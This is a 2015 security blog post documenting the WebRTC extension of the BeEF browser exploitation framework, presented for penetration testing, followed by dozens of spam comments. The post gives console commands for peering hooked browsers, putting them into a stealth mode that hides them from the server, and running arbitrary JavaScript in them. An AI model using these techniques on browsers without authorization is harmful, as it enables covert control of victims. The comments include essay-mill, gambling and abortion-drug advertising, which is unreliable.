Monday, January 26, 2015

Hooked-Browser Meshed-Networks with WebRTC (Kiwicon 2014) - Part 2

In Part 1, we introduced you to BeEF's WebRTC extension as a solution for avoiding tracking of post-exploitation communication back to our BeEF server. In this post, we'll talk more about how this can be used during penetration testing. This will include further information about the extension and usage details for the console and RESTful API.

One of the pre-requisites of WebRTC is the ability for peers to share Session Description Protocol (SDP) signaling messages between each other. This nominates what TCP/UDP ports are available to receive data, video and audio channels. The WebRTC spec does NOT dictate how these signaling messages are passed between peers. So, we've implemented a signaling channel within BeEF - hence, you have to hook the browsers at least once.

Once signaling has been established, and the peers (1 to 1) are established, there are new JavaScript methods available to send messages to each other. If the peers are on the same subnet, they will in fact be sending DTLS (Datagram TLS) messages between each other directly over either TCP or UDP. If they're separated by Firewalls/NAT devices, there are methods available to WebRTC to get around this too.

A quick example. If browser 1 and 2 are peered, the following JavaScript will send a data channel message from browser 1 to browser 2:
beefrtcs[2].sendPeerMsg('Hi!');

Within beef.webrtc are event handlers for these messages. The following logic is currently in place:
  • If a peer receives a message of '!gostealth' - It will STOP talking to BeEF, and instead start polling back to its peer with a heartbeat. At this point, the browser will cease sending HTTP GET requests to the BeEF server, although is still peer-connected to another hooked-browser.
  • If a peer receives a message of '!endstealth' - It will come out of stealth, and start talking to BeEF again, but will still maintain the peer channel.
  • If a peer receives a message of '%<JavaScript>' - It will execute the JavaScript - sending any return values back to its peer (Not to BeEF directly), once this message is received it will then be sent back to BeEF.
  • If a peer is STEALTHED and receives any other message, it will simply replay the text back to the peer that stealthed made it go into stealth. Otherwise, it will send the message back to BeEF.
If you enable the WebRTC extension in BeEF, this functionality is available through the interactive console, and the RESTful API. 

Console usage:

BeEF> rtcgo 1 2

Will connect online browser 1 to 2. After connection, you will see event messages in the log (particularly if you started beef with -v)

BeEF> rtcgo 1 2 true

As above, but will print verbose messages in the clients' consoles

BeEF> rtcstatus 1

Will check the RTC statuses of the browser and its peers

BeEF> rtcmsg 1 2 "Hi browser 2 .. from browser 1"

Will tell browser 1 to send a datachannel message to browser 2

This will simply send a text message from 1 to 2, when 2 receives the message, it will send it back to BeEF and display in the log. 

There are a few custom datachannel message commands that are implemented within the client-side JS

BeEF> rtcmsg 1 2 !gostealth

This will tell browser 1 to command browser 2 to go into a stealth mode, which will make it stop talking to beef but remain connected to each other via WebRTC. Browser 2 will occasionally send a heartbeat back to browser 1 - which will be displayed in the beef log.

BeEF> rtcmsg 1 2 "%return window.prompt(\"test\");"

This will tell browser 1 to command browser 2 to execute the JavaScript, and return the value back to browser 1, who will then send it back to the beef log. This is especially useful in stealth mode, as you can still control the browser even though it's not talking to beef.

BeEF> rtcmsg 1 2 !endstealth

Will make browser 1 command browser 2 to come out of stealth, and will start talking to beef again.

While a browser is stealthed, it can't be seen from beef, and can't be used as the source of RTC messages (because these are passed to the browser via the hook.js polling process).

The RESTful API calls are similar and examples exist within extensions/webrtc/rest/webrtc.rb file. Functions include:
GET /api/webrtc/status/:id
POST /api/webrtc/go {"from":1,"to":2}
And the video demo is available https://www.youtube.com/watch?v=pLC3hbUvhoE:


I'll be capturing some of this information within the Wiki soon as well - https://github.com/beefproject/beef/wiki/WebRTC-Extension

Thanks for all your help and inspiration browser-peeps!

-@xntrik

82 comments:

  1. This is very, very interesting! Thank you. Hope to see more.

    ReplyDelete
  2. Managing the server is not an easy job it will take time, effort and lots of education/knowledge before you can fully manage network errors. Students from term paper writing service GhostProfessors will really appreciate it we share this network testing.

    ReplyDelete
  3. I as of late had an astonishing chance to present this at Kiwicon 2014, and I was quick to get the code into BeEF. This blog entry gives a brief rundown of WebRTC and how it functions.
    best essay writing service

    ReplyDelete
  4. Thanks for posting this useful custom tshirts content, Good to know about new things here, Let me share this, .

    ReplyDelete
  5. This comment has been removed by the author.

    ReplyDelete
  6. Making use of collection custom t shirt canada processing computer software effectively is surely an important quandary expertise to view. For this rendezvous an individual exhilarated training collar a derisive alms

    ReplyDelete
  7. Really very interesting post!!
    I hope title is the most Second home attractive section of this particular post. I must read it. Sure I will book mark this content for the easy access of such an informative post.

    ReplyDelete
  8. Hey!
    I as of late had an astonishing chance to present this at Kiwicon 2014, and I was quick heating pad to get the code into BeEF. This blog entry gives a brief rundown of WebRTC and how it functions.

    ReplyDelete
  9. I appreciate it!. I really like it when people get together and share ideas. Great website, continue the good work!. Either way, great web and I look forward to seeing it grow over time. Thank you so much.
    super smash flash 2
    bloons tower defense 5

    ReplyDelete
  10. Hello!
    Thanks for posting this useful best mortgage rate canada content, Good to know about new things here, Let me share this, .

    ReplyDelete
  11. I blog frequently and I really thank Murcia you for your information. The article mortgage & tax arrears has truly peaked my interest. I will book mark your blog and keep checking for new information about once per week. I opted in for your RSS feed too

    ReplyDelete
  12. At this blog you will find good advices on how to write good essay and some high quality essay topics

    ReplyDelete
  13. a pride for me to be able to discuss on a quality website because I just learned to make an article on
    cara menggugurkan kandungan

    ReplyDelete
  14. I have read your article, it is very informative and Second home helpful for me.I admire heating pad the valuable Securities Lawyer information you offer in your articles. Thanks for posting it

    ReplyDelete
  15. Great blog post! I second pig statues rates don’t understand how long it will require me to obtain through all of them!

    ReplyDelete
  16. yes,...I admire what you have done here. I like financing new construction the part where you say banks construction you are doing this to give back but I would assume by all the comments that this is working for you as well.

    ReplyDelete
  17. i know yes yes i yes we all visited this part of the word last year - stunning scenery and colours, and amazing bird life. The valley of Bezirgan, above Kalkan, is a real treasure to be explored and bad credit home loan refinance. As the writer says, the trekking is superb -but it wrecked my aging knees!

    ReplyDelete
  18. I have read you post, Great work you really did it very well. Keep working like this and sharing informative posts like
    this one. keep it up. I'm waiting for your next post...
    real estate fredericton

    ReplyDelete
  19. Great tips I have noted all in my diary I'll use your all tips as you mentioned I really like your article I was searching on this topic as I'm working on this topics 2:08 PM 18-Mar-18too.you can see my work but yours is too good I personally appreciate you for this. Keep working like this.samsung s9 trade in

    ReplyDelete
  20. Hi, Great.. Tutorial is just awesome..It is really helpful for a newbie like me.. I am a regular follower of your blog.
    Really very informative post you shared here. Kindly keep blogging.
    If anyone wants to become a Front end developer learn from Javascript Online Training from India .
    or learn thru JavaScript Online Training from India.
    Nowadays JavaScript has tons of job opportunities on various vertical industry. ES6 Training in Chennai

    ReplyDelete
  21. [url=http://aborsi-tuntas.com]Jual Obat Aborsi[/url]

    [url=http://klinikaborsigaransi.com]Obat Aborsi Manjur[/url]

    Jual Obat Aborsi ,

    Obat Aborsi Manjur ,

    ReplyDelete
  22. Medical writing, depending on the outlet, requires professionals to research and write about those findings in a way that can be understood by average readers, yet is informative to those in the industry. visit site is the way to know more about nursing.

    ReplyDelete
  23. I’ve read some good stuff here. Definitely worth bookmarking for revisiting. I surprise how much effort you put to create such a great informative website. hotmail sign up

    ReplyDelete
  24. Thank you for sharing this information. But i have something interesting for you also. Look at this blog about evaluation argument essay topics.

    ReplyDelete
  25. Many students face the problem of stress in college. Whether it is because of social anxiety, or not being able to clear exam etc. Most of the times, students get stressed due to their piled up assignments. If it is with you also then you might seek for Assignment Help.

    ReplyDelete
  26. Assignmentservicerating is best reviews site.We at Top Quality Assignment believe that there is no shortcut to success and to attain success, hard work, dedication, and commitment must be present.AllAssignmentHelp.com reviews  best reviews site.
    AllAssignmentHelp reviews 

    ReplyDelete
  27. We have the best Marketing Assignment Help which is focused on offering the high quality of assignment help service while ensuring to follow all the guidelines provided to us.

    ReplyDelete
  28. Want Professional Dissertation Editors then no need to to anywhere else come to students assignment help that will guide you in completing your work. Our professionals are working 24x7 for your help.

    ReplyDelete
  29. Get Good Marks in Assignment Help is very popular in college students and our writing buy assignments online of assignment writing is always ready to offer best casestudy assignment services to the students so students can submit their assignment on time and get higher marks in academics.

    ReplyDelete
  30. Congrats on having such well managed site! It has good looks and contains informative content as well.We are an online platform where students check & write reviews for assignments related websites.Here you can check allassignmenthelp.com reviews

    ReplyDelete
  31. wow, awesome Indian Movie article post.Really looking forward to read more. Want more.

    ReplyDelete
  32. Handling assignment works is not a very easy thing. It can be tiresome to maintain all the busy scheduled daily tasks and then again work on your paper. Therefore, it is always beneficial to choose assignment experts who are professionals and can deal with your work.

    ReplyDelete
  33. Thank you for sharing this information. But i have something interesting for you also

    Install Samsung Stock Roms

    ReplyDelete
  34. Get Good Marks in Assignment Help is very popular in college students and our writing

    Creative Destruction Apk

    ReplyDelete
  35. Congrats on having such well managed site! It has good looks and contains informative

    Download Samsung USB Drivers

    ReplyDelete
  36. I’ve read some good stuff here. Definitely worth bookmarking for revisiting

    Clash of Clans Mod Apk

    ReplyDelete
  37. Hi, Great.. Tutorial is just awesome..It is really helpful for a newbie

    Granny for PC

    ReplyDelete
  38. I would like to thank you for the efforts you have made in writing this post. Thanks for posting Really Such Things. I should recommend your site to my friends. It is of a great advantage to take custom essay writing service. It eases the burden of students which they have to carry. Taking instant assignment help also gives a lot of benefits to the students. Our my essay writing service is highly committed to helping academic students to finish their essay.

    ReplyDelete
  39. Best Assignment Help in UK at Lowest Price, Have you been stressed out due to your Assignments? No worry, We are here to help you with 100% plagiarism free Assignment Help in UK. We offers lowest price on all kind of dissertations, essay, assignments and more from 4000+ Ph.D. Experts with 24/7 support to make sure you will achieve A+ Grades in your college/universities.

    Find examples of research paper topics at MyAssignmentHelp. Interesting high school & college research paper topics. Order in simple steps and get good, easy, best ideas and examples for research paper topics.

    Different Essay writing service experts say that writing attractive hooks are indeed very important for your essay and research papers. A hook is the very first line of your introduction. The line confirms a reader’s attention on your academic paper.

    ReplyDelete
  40. This is one of the finest post i have ever seen. The information is genuine and relatable and i am looking forward to avail the services of My Assignment Help .

    ReplyDelete
  41. Get help with finance homework administrations by the extremely qualified and experienced task specialists of Students Assignment Help. Our expert guides are familiar with composing College exposition as they are degree holder from top schools and colleges around the globe.

    ReplyDelete
  42. Get help for cheap essay writing service On Famous Personality for higher grade in academics. Students are always afraid of assignment help so they opt SingaporeAssignmentHelp.com.

    ReplyDelete
  43. If you dream to finish your dissertation writing service ireland well before the given deadline, then come at IrelandAssignmentHelp.com and get it completed by our team of online specialists.

    ReplyDelete
  44. If you are in need for online writing assistance for an intricate thesis topic, then avail our assignment help service in U.S. and save your time to relax and do your studies properly. Our assignment help online service in USA has earned huge popularity among both domestic and international students. There’s no better place in the USA than MyAssignmenthelp. Contact us now to buy assignments online in the USA Leave your tensions to us and enjoy your free time.

    ReplyDelete
  45. Best Homework Help Online is home to more than 3000 online live college homework help tutors who are quite impressive in solving various primary homework related issues. In fact, some of these tutors hold a PhD degree, which clearly shows how competent they are at handling various school and college homework problems.

    ReplyDelete
  46. Good news. Appreciate this post. Thank you for compiling and sharing it.
    Check out our latest research report of best mobile app marketing companies 2018 woldwide.

    ReplyDelete
  47. Students Assignment Help offers the best cheap assignment help services. We have the top assignment writers who provide excellent quality assignment writing services to the students. Our professional writers have proficiency in a writing assignment. You can email us at info@studentsassignmenthelp.com

    ReplyDelete
  48. Ah long time No see
    After a long time you write something new, this time also you come with unique content.
    please have a look at my page:- Dhanteras puja

    ReplyDelete
  49. Read as loudly as you can. Your thought process gets sloawer when you're reading something. So naturally, you pay more attention to what you talk about, which will assist you to do away with your distractions. And in case if you can't get rid of your distractions, you can hire a do my assignment online expert.
    Team of 4000+ assignment writing experts in Australia, including promising PhD writers, native experts and SMEs at work, offering a absolute knowledge, concept and technicality in solving each and every assignment with perfection.
    You have probably heard about write my assignment services but never really bothered about giving much thought about it. Maybe you think that these are also like the other over-hyped commercial services that you often see online. You might have always written your assignments yourself and have been satisfied with the average grades received from those papers.

    ReplyDelete
  50. This is really great work. Thanks for sharing blog, this is really interesting information for me. We have already set a high standard for Assignment Help Australia.

    ReplyDelete
  51. lots of Students Assignment Helpers working online for students assistance. You can easily take a good decision and choose the best one. StudentsAssignmentHelp.com have the best team of academic writers that hold advanced degrees and have a great knowledge in the field of study. They are continue offering you a timely assistance.

    ReplyDelete
  52. Remember that personal deadlines are optional, while deadline imposed for the essay completion is vital to be met. Break the workload so that those can help you reach the larger goal with ease, says the in Malaysia.

    ReplyDelete
  53. Students Assignment Help provides the best accounting homework help with their best UK Assignment Writers. Our professional assignment writers deliver students full knowledge and understanding about the subject. Students can avail help from our online assignment help experts anytime.

    ReplyDelete
  54. This post is not just informative but impressive also. The post is so convincing that it created an urge to choose My Assignment Help services. You can email us at Info@Myassignmenthelpau.Com or Phone Number: +61-2-8005-8227

    ReplyDelete
  55. Handling assignment works is not a very easy thing.

    Droidwhiz

    ReplyDelete
  56. Our Essay writers from top universities of ireland are affiliated with world's finest essay assignment help company named "IrelandAssignmentHelp.com". You can get Write My Assignment help from us at very reasonable price.

    ReplyDelete
  57. Singapore assignment help is one of the leading providers of assignment writing help to the students all around the world. Our online homework experts provide the cheap essay writing service services. And cover all type of assignment help needed by the students.

    ReplyDelete
  58. A high-standard post with all imperative information about Assignment Help UK services. Looking forward to avail the premium services.

    ReplyDelete
  59. An unmatched and nonpareil post i have ever seen. The content is so appealing that it has created an impulse to avail Assignment Help Singapore services.

    ReplyDelete
  60. Our online homework experts provide cheap writing ever
    PC-Apps Online

    ReplyDelete
  61. My Assignment Services provides a 24-hour online Australian assignment help or academic assistance and consultation to the students. Be it any subject such as Nursing, Economics, Law, Engineering, or Management, we provide the most reliable help with assignment online by our highly-proficient academic writers. This is because there are a multitude of online academic help services and picking the best is always going to be a trial and error method. However, My Assignment Services is a well-established and prominent name in the best myob assignment help provider & high-quality instant assignment help online to students since almost a decade. You can trust our academic ghostwriters completely to get best quality write-ups including case studies, research proposals, dissertations and theses, and more. Australian Assignment Help providing experts understand that price is one of the major factors that university students consider before paying someone to do it for them. This is because university students often have stringent budgets and are already burdened with student debts. This is why we offer regular and seasonal discounts on cdr writing service or other assignments so that you achieve high distinction without burning a hole in your pocket.

    ReplyDelete
  62. Are you stuck in your assignment and need help for Assignment? Then do not worry out writing assignment service are here to help you. Myassignment help provides the best assignment help for all students in Australia. Our professional expert writers provide academic assistance services to all students. Students can get help from our online assignment writers 24*7. For more offers visit Myassignment Help now.

    ReplyDelete
  63. Those who are searching over internet IT assignment help can contact with us now. We are the best assignment writing service provider in melbourne, Australia. Our Academic assignment writers available 24*7 hours for the students, if you really want to need IT assignment help, Computer science assignment help online at cheapest price and get high distinction grades.

    ReplyDelete
  64. This is one of the finest post i have ever seen Thunder VPN for PC

    ReplyDelete
  65. Asyabahis bahis sitesine üye olarak 20TL deneme bonusu alabilirsiniz. Betconstruct altyapılı bahis şirketi Curacao lisansına da sahip. Asyabahis

    Betticket bahis sitesi %100 oranında 500TL bonus veriyor. Betticket ödemeleri ortalama 30 dakika içerisinde yapmaktadır. Betticket

    Grandbetting bahis sitesi ilk üyelerine 400TL hoş geldin bonusu vermektedir. Grandbet giriş adresinden siteye erişin. Grandbetting

    Holiganbet bahis şirketi güvenilir hizmetlerini 400TL hoş geldin bonusu ile süslüyor. %100 oranında bonusu alabilirsiniz. Holiganbet

    ReplyDelete
  66. 2014 yılında kurulan Holiganbet bahis sitesi, spor bahisleri, canlı bahisler, casino, canlı casino ve tombala oyunları sunmaktadır. Holiganbet'e kayıt olarak 200TL  bonus kazanabilirsiniz. Holiganbet

    Vdcasino bahis sitesi 2015 yılından beri güvenilir casino ve slot oyunları sunmaktadır. Vdcasino yeni üyelerine 1000TL hoş geldin bonusu vermektedir. Vdcasino

    Asyabahis bahis şirketi yeni üyelerine 20TL deneme bonusu veriyor. Sekabet güvencesi ile açılan Asyabahis, Curacao lisansı ile yayın yapıyor. Asyabahis

    Sekabet'in yeni bahis sitelerinden olan Pinbahis 2000TL hoş geldin bonusu veriyor. Pinbahis sitesinden güvenilir bahis yapabilirsiniz. Pinbahis

    Betconstruct altyapısına geçiş yapan Wonodds yeni giriş adresi konusunda sıkıntı yaşıyor. 500TL hoş geldin bonusu Wonodds tarafından veriliyor. Wonodds

    ReplyDelete
  67. Holiganbet bahis sitesine üye olduğunuzda %100 oranında 200TL hoş geldin bonusu kazanabilirsiniz. Holiganbet bahis

    ReplyDelete
  68. I am very happy to read this. This is the kind of manual that needs to be given and not the random misinformation that’s at the other blogs. Appreciate your sharing this best posting. Make My Assignment

    ReplyDelete
  69. Great site and a great topic as well I really get amazed to read this. It’s really good. I like viewing web sites which comprehend the price of delivering the excellent useful resource free of charge. brass unjal chain

    ReplyDelete